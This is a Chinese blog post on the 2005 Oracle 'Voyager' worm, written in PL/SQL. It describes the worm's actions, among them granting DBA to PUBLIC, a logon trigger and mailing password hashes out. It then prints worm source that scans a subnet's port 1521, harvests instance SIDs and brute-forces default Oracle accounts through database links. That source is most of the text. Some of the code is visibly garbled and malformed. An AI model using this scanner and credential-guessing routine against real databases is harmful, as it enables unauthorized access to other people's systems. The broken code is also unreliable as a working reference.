一個oracle蠕蟲病毒

dbhelper發表於2015-03-02
關於計算機病毒,說起來內容就很豐富了,但是第一次聽到關於oracle中的病毒時,卻感覺很新鮮。這是一個蠕蟲病毒,距離現在已經有10年了,但是現在看起來還是能夠借鑑不少精華的東西。把裡面的一部分內容能夠應用到實際中還是很不錯的選擇。
說起這個病毒,還有點小插曲。2005年10 月 31 日,有一個匿名者在 Full-disclosure(FD) 郵件列表裡投遞了一篇名為 Trick or treat Larry(很明顯是對 Larry Ellison 的一個小玩笑) 的郵件。完全用 PL/SQL 寫的蠕蟲就這樣出現了。這個病毒在當時的殺傷力還是不小的。
1.將DBA許可權授予public角色
2.刪除名為aa的trigger
3.建立名為aa的資料庫登陸後(after database logon)觸發器,該觸發器還包含了使用UTL_TCP包(前提是病毒所在例項可能連結到外網)獲取來自於%27m+Feeling+Lucky的疑似病毒資訊,google已經將該地址遮蔽了
4.透過smtp01.us.oracle.com郵件傳送伺服器傳送標題為(Password hashes)包含資料庫密碼雜湊值的郵件至 larry@oracle.com(可能是Oracle老總larry ellison 郵箱地址)
5.掃描例項所在主機子網中的所有ip,之後會嘗試使用隨機ip.修改listener.log,並且將”alter user mdsys identified by mdsys”新增至glogin.sql,每次使用SQLPLUS時均會執行該SQL.
6.建立可能的資料庫連線(DBLINK),並嘗試猜測密碼組合,如(system/manager, sys/change_on_install, dbsnmp/dbsnmp, outln/outln, scott/tiger, mdsys/mdsys, ordcommon/ordcommon)等較為常見的組合。
7.嘗試關閉listener

這些攻擊行為在現在看來還是很難實際攻擊的,畢竟道高一尺,魔高一丈,經過這麼長的時間,那些攻擊點對於這些年來的安全警示可能沒有已經幾乎沒有可能了,但是在當時這個病毒,oracle還是相當重視的,可以參考metalink 
Note 340009.1
Customer Update Regarding Published Sketch For So-Called Oracle Voyager Worm

Last Updated Date: January 18th, 2006

oracle還提供了相應的補丁來修復,可見這個pl/sql在當時的影響力。我們來直接上對應的Pl/sql可以好好琢磨琢磨,希望大家有所收穫,能把一些攻擊點反轉利用為一些工作中的功能點還是很不錯的。
set serveroutput on
set verify off
DECLARE
i1 INTEGER;
i2 INTEGER;
iHostToSearchFor INTEGER;
current_ipaddress VARCHAR2(100);
current_network VARCHAR2(100);
current_letter VARCHAR2(1);
c   UTL_TCP.CONNECTION;
ln integer;
vLen NUMBER;
PreviousSID varchar2(100);
vRequest varchar2(500);
vResp varchar2(32767);
vRespPiece varchar2(200);
vRespTemp varchar2(200);
ret_val pls_integer;
BEGIN
current_ipaddress := utl_inaddr.get_host_address;
ln := length(current_ipaddress);
loop
 current_letter := substr(current_ipaddress, ln, 1);
	ln := ln - 1;	
	EXIT WHEN current_letter = '.';
	EXIT WHEN ln = 0;
end loop;
current_network := substr(current_ipaddress, 1, ln);
dbms_output.put_line( 'network to search: ' || current_network );
dbms_output.put_line( 'starting: ' || to_char(sysdate, 'MI:SS') );
iHostToSearchFor := 220;
vRequest := chr(0) || chr(89) || chr(0) || chr(0) || chr(1) || 
chr(0) || chr(0) || chr(0) || 
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || 
chr(8) || chr(0) || 
chr(127) || chr(255) || chr(127) || chr(8) || chr(0) || chr(0) || 
chr(0) || chr(1) || 
chr(0) || chr(31) || chr(0) || chr(58) || chr(0) || chr(0) || 
chr(0) || chr(0) || 
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) 
|| chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(230) || 
chr(0) || chr(0) || 
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) 
|| chr(0) || chr(0) || chr(0) || '(CONNECT_DATA=(COMMAND=status))'; 
loop
 begin
   vResp := ''; 
   PreviousSID := '';

 	c  := UTL_TCP.OPEN_CONNECTION(current_network || '.' || 
iHostToSearchFor, 1521);
   dbms_output.put_line( 'found live port @ ' || to_char(sysdate, 
'MI:SS') || ' - ' || current_network || '.' || iHostToSearchFor);
   ret_val := UTL_TCP.WRITE_RAW(c, utl_raw.cast_to_raw(vRequest)); 
   vLen := UTL_TCP.READ_RAW(c, vResp, 100 ); 
   vRespPiece := utl_raw.cast_to_varchar2(utl_raw.substr(vResp, 43, 58)); 
   vResp := vRespPiece;   
   declare 
       read_from_network varchar2(32000);
       length_read_from_network INTEGER;
   begin   
     loop
       read_from_network := ''; 
       length_read_from_network := UTL_TCP.READ_RAW(c, 
read_from_network, 100 ); 
       read_from_network := 
utl_raw.cast_to_varchar2(utl_raw.substr(read_from_network, 1, 
length_read_from_network));
       vResp := vResp || read_from_network;       
     end loop;
     EXCEPTION
       when OTHERS then
         read_from_network := '';                 
   end;
-- look for INSTANCE_NAME= and then for )
--   dbms_output.put_line( substr( vResp, 1, 254) );
--   dbms_output.put_line( substr( vResp, 255, 254) );
--   dbms_output.put_line( substr( vResp, 510, 254) );         
	  UTL_TCP.CLOSE_CONNECTION(c); 
 declare 
   i3 INTEGER;
   i4 INTEGER;
   sid varchar2(100);
		cur binary_integer;
		i binary_integer;
		procedure_to_spread varchar2(32000);
   create_link varchar2(500);    
 begin	  
   i3 := 1;
   i4 := 1;
   loop
     i3 := instr(vResp, '(INSTANCE_NAME=', i3);
     exit when i3 = 0;
     i4 := instr(vResp, ')', i3);
     sid := substr( vResp, i3 + 15, i4 - (i3 + 15));
     dbms_output.put_line( 'Found SID of ' || sid );
     i3 := i3 + 1;
     begin
       if sid = PreviousSID or sid = 'PLSExtProc' or sid = 'extproc' 
       then
         -- don't do anything
         dbms_output.put_line( 'Not trying the SID: ' || sid );
       else
         dbms_output.put_line( 'Attacking the SID: ' || sid );                                     
       	loop          
           declare            
            iLoop integer := 0;
            username1 varchar2(100);
            password1 varchar2(100);            
           begin           
           iLoop := iLoop + 1; 
           exit when iLoop = 8;           
           if iLoop = 1 then
             username1 := 'system';
             password1 := 'manager';             
           else if iLoop = 2 then
             username1 := 'sys';
             password1 := 'change_on_install';           
           else if iLoop = 3 then
             username1 := 'dbsnmp';
             password1 := 'dbsnmp';           
           else if iLoop = 4 then
             username1 := 'outln';
             password1 := 'outln';           
           else if iLoop = 5 then
             username1 := 'scott';
             password1 := 'tiger';           
           else if iLoop = 6 then
             username1 := 'mdsys';
             password1 := 'mdsys';           
           else if iLoop = 7 then
             username1 := 'ordcommon';
             password1 := 'ordcommon';           
           end if;                                  
       		cur := dbms_sql.open_cursor;
       		dbms_sql.parse(cur, 'drop database link xxx', 
dbms_sql.v7);
       		i := dbms_sql.execute( cur );   		
   		    create_link := 'CREATE DATABASE LINK xxx CONNECT TO ' || 
username1 || ' IDENTIFIED BY ' || password1 || ' USING 
''(DESCRIPTION=(ADDRESS_LIST=(ADDRESS = (PROTOCOL = TCP)(HOST = ' 
|| iHostToSearchFor || ')(PORT = 1521)))(CONNECT_DATA=(SERVER=DEDICATED)(SERVICE_NAME=' || SID || 
')))'; 		
       		dbms_sql.parse(cur, create_link, dbms_sql.v7);
       		i := dbms_sql.execute( cur );
       		dbms_sql.close_cursor(cur);
 		      cur := dbms_sql.open_cursor at xxx;
-- (cur, procedure_to_spread, 
dbms_sql.v7);
--        		i := dbms_sql.execute at xxx( cur ); (cur, 'drop table x', dbms_sql.v7);
       		i := dbms_sql.execute at xxx( cur ); (cur, 'CREATE TABLE X (Y DATE)' , 
dbms_sql.v7);
       		i := dbms_sql.execute at xxx( cur ); dbms_sql.close_cursor at xxx(cur);       		
       		exception
       		  when others then
              DBMS_OUTPUT.PUT_LINE('failed creating a database link 
that worked ');      		
       		end if;       		
         end loop;         
       end if;       
       PreviousSID := SID;
     end;      
   end loop;
 end;	  
 EXCEPTION
   when utl_tcp.NETWORK_ERROR then
       DBMS_OUTPUT.PUT_LINE('nothing found @ ' || to_char(sysdate, 
'MI:SS') || ' - ' || current_network || '.' || iHostToSearchFor); 
	end;
	iHostToSearchFor := iHostToSearchFor - 1;
	EXIT WHEN iHostToSearchFor = 216;
end loop;
dbms_output.put_line( 'finished the loop @ ' || to_char(sysdate, 
'MI:SS') );
END;
/

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/8494287/viewspace-1445404/,如需轉載,請註明出處,否則將追究法律責任。

相關文章